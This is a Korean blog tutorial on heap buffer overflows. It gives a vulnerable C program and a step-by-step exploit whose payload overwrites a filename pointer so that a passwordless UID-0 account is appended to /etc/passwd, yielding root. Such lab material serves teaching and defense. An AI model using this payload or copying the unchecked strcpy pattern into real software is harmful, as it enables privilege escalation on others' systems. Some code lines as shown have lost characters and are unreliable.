관리 메뉴

c0smicb0y

Heap Buffer Overflow 본문

정보보안/System

Heap Buffer Overflow

2015. 4. 17. 01:21

I. What is Heap

프로그램이 실행되면 프로세스가 만들어진다. 프로그램이 단순한 코드의 집합이라고 생각한다면, 프로세스는 이것보다 조금 더 큰 것을 가리킨다. 프로세스가 생성되면 메모리에 여러 영역이 할당된다. 그 중 프로그램이라고 생각하는 코드가 들어있는 영역은 text section으로 불린다. 이 영역에는 또한 program counter값과 프로세서 레지스터들의 값들로 표현되는 현재의 활동을 포함한다. 그리고 프로세스는 일반적으로 임시적인 데이터(function parameters, return addresses, local variables등과 같은)를 포함하는 stack을 생성하고, global variables를 포함하는 data section을 생성한다. 그리고 프로세스는 또한 프로세스의 run time 동안 동적으로 영역을 할당하는 메모리영역인 heap을 생성한다.


[그림1] Process in memory


stackheap은 용도가 유사해보이지만, 몇 가지 차이점이 존재한다. 우선 stack은 영역을 넓힐 때 높은 주소에서 낮은 주소로 영역을 넓히지만, heap은 낮은 주소에서 높은 주소로 영역을 넓힌다. 그리고 stack에 있는 변수는 그 크기를 변경시킬 수 없지만, heap에 있는 변수는 그 크기를 마음대로 변화시킬 수 있다.

 

II. Heap Buffer Overflow Vulnerability

다음은 Heap Buffer Overflow Vulnerability를 가진 프로그램의 소스코드이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
 
 
void usage(char *prog_name, char *filename)
{
        printf("usage %s  <%s add data>\n", prog_name, filename);
        exit(1);
}
 
 
void fatal(char*);
void *ec_malloc(unsigned int);
 
int main(int argc, char* argv[])
{
        int userid, fd;
        char *buf,*datafile;
 
        buf = (char*)ec_malloc(100);
        datafile = (char*)ec_malloc(20);
        strcpy(datafile, "/var/notes");
 
        if(argc < 2)
        usage(argv[0], datafile);
 
        strcpy(buf, argv[1]);
 
        printf("[DEBUG] buffer @ %p: \'%s\'\n", buf, buf);
        printf("{DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);
 
        fd = open(datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR);
 
        if( fd == -1 )
        fatal("main() file openning...\n");
        printf("[DEBUG] file scribe.. %d\n", fd);
 
        userid = getuid();
 
        if( write(fd, &userid, 4== -1)
        fatal("main() writing id in file");
 
        write(fd, "\n"1);
 
        if( write(fd, buf, strlen(buf) ) == -1)
        fatal("main() writing buffer in file");
 
        write(fd,"\n"1);
 
        if(close(fd) == -1)
        fatal("main() close file");
 
        printf("note saved\n");
        free(buf);
        free(datafile);
}
 
 
void fatal(char *message)
{
        char e_msg[100];
 
        strcpy(e_msg, "[!!] Critical error");
        strncat(e_msg, message, 83);
        perror(e_msg);
}
 
void* ec_malloc(unsigned int size)
{
        void *ptr;
 
        ptr = malloc(size);
        if( ptr == NULL)
        fatal("ec_malloc() memory share..");
 
        return ptr;
}
cs

[그림2] Heap Buffer Overflow Vulnerability를 가진 프로그램


변수 buf를 동적할당하고 난 뒤, 변수 datafile을 동적할당하여, datafile/var/notes를 대입하고, 인자로 받은 문자열을 buffer overflow에 취약한 strcpy() 함수를 통해 buf에 대입하고 난 뒤에 datafile에 있는 문자열에 있는 파일을 open함수를 통해 쓰기 전용 파일로 연다. 파일이 없으면 생성하고 파일이 이미 존재하면 파일 내용에 덧붙인다는 옵션이 있다.

1
      fd = open(datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR);
cs

[그림3] open()함수를 통해 datafile에 있는 문자열로 된 파일을 여는 코드

 

그리고 wrtie()함수를 통해 datafile에 있는 문자열로 이루어진 파일에 &userid를 쓰고, 개행한 뒤, buf의 내용을 쓰고, 개행한뒤, file descriptorclose하고 buffree()해주고 datafilefree()해준 뒤 프로그램을 종료한다.

 

프로그램에 AAAAAA를 인자를 주고 실행해보자.


[그림4] 프로그램을 실행한 모습

 

buffer의 시작주소는 0x8049b10이고 datafile의 시작주소는 0x8049b78이다. 둘 사이의 거리는 104byte이다.


[그림5] 프로세스의 메모리 상태

104 bytes이상의 값을 채운다면 그 이상의 바이트에 쓰여 있는 값은 datafile에 씌여지게 될 것이다. 실제로 테스트 해보자.


[그림6] 버퍼오버플로우를 이용하여 test파일을 만들고 거기에 내용을 쓰는 모습

 

A104byte를 채운 뒤, 문자열을 추가로 적어줬더니 그에 맞는 파일이 생성되고 그 파일 안에 입력한 인자가 모두 들어가 있다.

 

이것을 이용하여 어떻게 권한을 상승할 수 있을까.

 

/etc/passwd 라는 파일을 이용해보자.

/etc/passwd에는 현재 시스템에 등록되어 있는 사용자의 계정 정보가 정의되어 있다.


[그림7] /etc/passwd의 내용

 

맨 첫줄에 있는 root계정의 문자열을 통해 무슨 구조를 가지고 있는지 알아보자.

root:x:0:0:root:/root:/bin/bash

①  ②③④ ⑤    ⑥    ⑦

: 사용자 계정 이름

: 사용자 비밀 번호 (x로 되어 있는 것은 /etc/shadow에 암호화된 상태로 저장되어 있다)

: 사용자 UID (0root를 뜻한다)

: 사용자 소속 그룹 GID

: 사용자 정보 (이름이나 연락처 같은 것을 적어놓는 곳)

: 사용자 계정 디렉토리 (홈디렉토리)

: 사용자 로그인 쉘

/etc/passwduidgidroot, 0으로 설정한 계정정보를 넣는다면 root권한의 계정으로 로그인이 가능할 것이다.

fake::0:0::/home/heap:/bin/bash

패스워드는 존재하지 않도록 비워놓았다.

여기에 104byte를 만들어주기 위해 사용자 정보 부분을 A값으로 채워준다.

 

fake::0:0:AAAAAAAAAAAAAAAAAAAAAAAAA...A:/home/heap:/bin/bash

 

/etc/passwd는 파일 안에 있는 user정보를 개행문자로 구분하므로 사용자 로그인 쉘 부분이 끝난 부분 바로 뒤에 개행문자를 삽입해준다.

fake::0:0:AAAAAAAAAAAAAAAAAAAAAAAAA...A:/home/heap:/bin/bash\n104byte를 구성한 뒤 /etc/passwd를 이어서 적어주면 /etc/passwd에 해당 계정정보를 삽입할 수 있다.

 

payload : ./heap "`python c'print "fake::0:0:"+"A"*72+":/home/heap:/bin/bash"+"\n"+"/etc/passwd"'`“

 

공격해보자.


[그림8] 페이로드 실행

 

datafile의 내용이 /etc/passwd로 바뀐 것을 확인할 수 있다.

/etc/passwd의 내용을 확인해보자.


[그림9] root권한을 가진 fake계정정보가 삽입된 모습

 

root권한을 가진 fake계정정보가 삽입된 것을 확인할 수 있다.

su명령어를 통해 userfake로 바꾸어보자.


[그림10] root 권한을 가진 모습

 

root권한으로 권한이 상승된 것을 확인할 수 있다.

'정보보안 > System' 카테고리의 다른 글

안티바이러스 소프트웨어 공격  (0) 2015.10.27
Comments